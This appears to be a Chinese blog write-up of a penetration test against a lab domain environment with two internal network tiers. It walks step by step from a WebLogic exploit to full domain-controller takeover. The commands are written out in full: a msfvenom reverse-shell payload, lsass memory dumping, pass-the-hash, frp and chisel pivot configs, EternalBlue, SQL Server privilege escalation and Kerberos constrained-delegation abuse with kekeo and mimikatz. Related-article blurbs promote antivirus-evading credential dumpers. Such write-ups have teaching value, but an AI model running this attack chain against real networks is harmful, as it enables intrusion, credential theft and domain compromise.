<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰|記一次二層內網域滲透實戰

    VSole2022-08-06 07:15:11

    本文記錄了一次針對具有二層內網的域環境進行滲透測試的過程,文中涉及了內網域滲透的基本方法、思路和技巧。交替使用了msf、CobaltStrike、frp、chisel、SharpSQLTools等工具,最后通過約束委派拿下了域控。其間運用了很多小工具,文章較長,下面開始此次滲透長途之旅。

    網絡拓撲如下:

    web服務器

    先來波端口掃描:

    這里介紹個有意思的小工具,https://github.com/mubix/IOXIDResolver

    直接發現了內網的ip,這里需要提前說明一點,由于靶場搭建的問題,weblogic只在10.10.20.12這個ip上才能解析,所以需要調整下ip設置,等做完weblogic后我們在改回192段。

    看到了weblogic的版本,查找下exp,順手先來一波smb信息收集。

    smb信息收集

    smbmap -H 10.10.20.12

    smbclient -N -L //10.10.20.12

    enum4linux -a 10.10.20.12

    rpcclient -U '' 10.10.20.12

    smbclient -U '' -L \\10.10.20.12

    weblogic漏洞利用

    知道了weblogic的具體版本,可以直接去查詢漏洞,也可以用工具自動掃描下;

    這里直接用CVE的漏洞來打一波;

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.20.4 LPORT=1234 -f psh-cmd > exploit.ps1

    # use exploit/multi/handler

    # set payload windows/x64/meterpreter/reverse_tcp

    # set lhost 10.10.20.4

    # set lport 1234

    # exploit

    遷移下進程,開始抓密碼;

    爆破一波,原來是個弱口令;

    接下來換成CS更方便;

    ./teamserver 192.168.223.138 123456

    java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024M -javaagent:hook.jar -jar cobaltstrike.jar

    信息收集一波;

    weblogic數據解密

    在介紹下用注冊表抓取hash的方法;

    抓取成功后拖回本地;

    在本地解密;

    這里有了hash之后,嘗試下不用msf和cs來滲透;

    evil-winrm -u administrator -H ccef208c6485269c20db2cad21734fe7 -i 192.168.223.165

    get-process -name lsass

    rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 500 C:\temp\lsass.dmp full

    rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 500 C:\windows\temp\lsass.dmp full

    ls C:\windows\temp\lsass.dmp

    download C:\windows\temp\lsass.dmp

    lsass.dmp重命名為weblogic.dmp

    pypykatz lsa minidump weblogic.dmp -o weblogic.txt

    并沒有發現預想中存在的密碼,所以下面換個其他的方法;

    解密工具可以解密了;

    至此,web服務器算是搞定了,下面開始個人主機的滲透。

    個人主機

    永恒之藍利用

    進入內網,個人主機已經無法直接出網了,需要搭建代理。

    frp代理

    服務端

    [common]
    bind_addr =192.168.223.138
    bind_port =7000
    token = Xa3BJf2l5enmN6Z7A8mv
    [socks5]
    type = tcp
    remote_port =7777
    plugin = socks5
    

    客戶端

    [common]
    server_addr = 192.168.223.138
    server_port = 7000
    token = Xa3BJf2l5enmN6Z7A8mv
    [plugin_socks]
    type = tcp
    remote_port = 7777
    plugin = socks5
    

    proxychains nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88 10.10.20.7

    這里還可以嘗試下用chisel;

    ./chisel server -p 8000 --reverse

    ./chisel client 192.168.223.138:8000 R:8100:socks

    在kali里設置好代理配置;

    proxychains nmap --script smb-vuln* -p 445 -sT -Pn 10.10.20.7 -vvv

    很明顯了,永恒之藍;這里還是用frp代理,通過msf來方便點。

    msf6 > setg Proxies socks5:192.168.223.138:7777
    msf6 > setg ReverseAllowProxy true
    msf6 > use exploit/windows/smb/ms17_010_eternalblue
    msf6 > set payload windows/x64/meterpreter/bind_tcp
    msf6 > set rhost 10.10.20.7
    msf6 > run
    

    成功拿下個人主機,照例先抓下密碼;

    這里在介紹另一種抓取密碼的思路,在目標機抓取后拿回本地來解密分析,在某些場合下會有奇效;

    取回本地,minidump方式解開

    查看結果;

    為了后續方便,我們可以用CobaltStrike來繼續,雖然msf和CS會話可以互通,但我還是習慣直接種馬后使用。這里web服務器已經提前在CS上反彈好了,精華在于CS的中轉功能。

    因為此 Win7 不出網,隨后只能通過 CobaltStrike 設置中轉:

    先創建中轉監聽器:

    生成木馬:

    利用msf上傳并運行木馬后機器上線;

    信息收集一波;

    可以看到個人主機后面還有2臺機器,分別是域控服務器和數據庫服務器。在進行下一步滲透之前,先需要把二級代理搭建好。

    二級代理搭建

    先看看frp如何搭建二級代理;

    kali上配置服務端;

    web服務器上配置;(一個服務端,一個客戶端)

    個人主機上配置客戶端;

    掃描測試下;

    在用chisel搭建一個2級代理;

    kali上配置服務端;

    web服務器上配置客戶端和服務端;

    個人主機上配置客戶端;

    掃描測試下;

    proxychains nmap -sC -sV -F -sT -Pn 10.10.10.18 -vvv

    數據庫服務器

    這里先借助bloodhound來分析下域環境,以確定下一步的滲透思路,具體的安裝及使用這里就不贅述了,我之前的文章有過詳細介紹。

    到達域管理員的最短路徑;

    用戶:redteam.red/sqlserver 允許委托OWA的cifs服務(DC控制器)

    至此有了后續基本的滲透思路,就是通過委派攻擊拿下域控,下面開始逐步實施;

    根據之前端口掃描的結果,做下信息收集;

    結合我們已經取得的個人主機控制權,首先當前進程是沒有域管的,所以暫且放棄令牌竊取:

    這里用到了約束委派攻擊的知識,簡單來說,在Windows系統中,普通用戶的屬性中沒有委派(Delegation)這個選項卡,只有服務賬號、主機賬號才有。服務賬號(Service Account),域內用戶的一種類型,服務器運行服務時所用的賬號,將服務運行起來并加入域。例如MS SQL Server在安裝時,會在域內自動注冊服務賬號SqlServiceAccount,這類賬號不能用于交互式登錄。(更具體知識要自己補一下)

    由于我們已經拿到了一個域用戶的賬戶密碼,嘗試查找約束委派的用戶:

    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

    sqlserver 的用戶是被設置了約束委派,但還需要密碼;之前知道1433是開放的,爆破一波試試;

    這樣就可以執行xp_cmdshell 命令了;

    現權限很小只是一個普通服務權限,下面開始提權;

    使用 SharpSQLTools 開啟目標 clr:(要用Proxifier掛上代理,就不截圖了)

    SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami

    然后啟用并調用命令:

    SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr

    SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

    提取成功。

    下面用msf來進行文件上傳;

    上傳一個CS的木馬;

    然后在用高權限來運行cs木馬;

    成功上線;

    抓取下密碼;

    至此,數據庫服務器滲透結束,下面開始對域控的滲透。

    域控

    經過前面的分析,這里就是純粹的利用約束委派拿下域控。

    1、利用 kekeo 請求該用戶的 TGT:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi

    kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"

    2、然后使用這張 TGT (TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi) 獲取域機器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

    kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

    3、使用 mimikatz 將 ST2 導入當前會話即可,運行 mimikatz 進行 ptt:

    mimikatz kerberos::ptt TGSAdministrator@redteam.red@REDTEAM.REDcifs~owa.redteam.red@REDTEAM.RED.kirbi

    成功拿到域控權限;

    minidump
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    能過卡巴、defender等殺軟的dump lsass進程工具,參考代碼鏈接在下面。由minidumpCallback實現,對緩沖區中內存做了些修改后再寫入磁盤,同時做了一些小細節修改。需要注意的是別扔云沙箱,這工具也沒有任何網絡行為。
    Dumpscan是一款功能強大的命令行工具,該工具可以幫助廣大研究人員從內核以及Windows Minidump格式提取和導出敏感數據。
    在滲透測試中,最常用的方法是通過dump進程lsass.exe,從中獲得明文口令和hash,今天分享兩個免殺轉儲lsass方式,目前親測可過某60 or 某絨。在原理上都是使用API MiniDumpWriteDump,通過comsvcs.dll的導出函數MiniDump實現dump內存。
    LAPS的使用小技巧
    2021-11-17 07:24:00
    有一天在路上莫名奇妙撿到一個webshell,既然是爆Ju那就爆久一點,然后我就隨手轉存下lsass內存。 tasklist /svc | findstr "lsass.exe" rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump pid lsass.dmp full 然后再隨手導出一哈本地hash好了。 reg save hklm\s
    RDP憑證本機RDP密碼抓取本機RDP密碼是一個我們常遇到的場景,通常使用mimikatz抓取RDP密碼。當系統為win10或2012R2以上時,默認在內存緩存中禁止保存明文密碼,這時抓取的明文密碼為空。上不了線的情況下,也可以在webshell中來dump內存,保存到本地解密即可。
    LsassUnhooker用C#編寫的小程序可以繞過EDR鉤子并轉儲lsass進程的內容,框架:.NET Framework 4,可以用CobaltStrike?execute-assembly加載內存執行,集成至CS插件。
    要做好檢測能力,必須得熟悉你的系統環境,只有足夠了解正常行為,才能真正找出異常(Anomaly)和威脅(Threat)
    最近不知道怎么回事,家里電腦經常性地出現藍屏,很多時候有些文檔沒有保存便藍屏導致文檔丟失,其中也包括您現在正在看到的這一篇文章,以前一直比較懶,重啟大法一頓懟,然后重新再做編輯,只不過PPT重做簡直要人命,無奈之下,放下了所有的工作。
    繞過殺軟dump-Lsass內存
    2021-12-02 06:54:18
    dump lsass 進程是我們永遠都逃不過話題,除非微軟那天不用它保存憑據了,自然而然就不dump 它了,抓密碼是滲透重要的環節,是橫向擴展的基礎,接下來講講見到如何繞過殺軟dump lsass內存。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类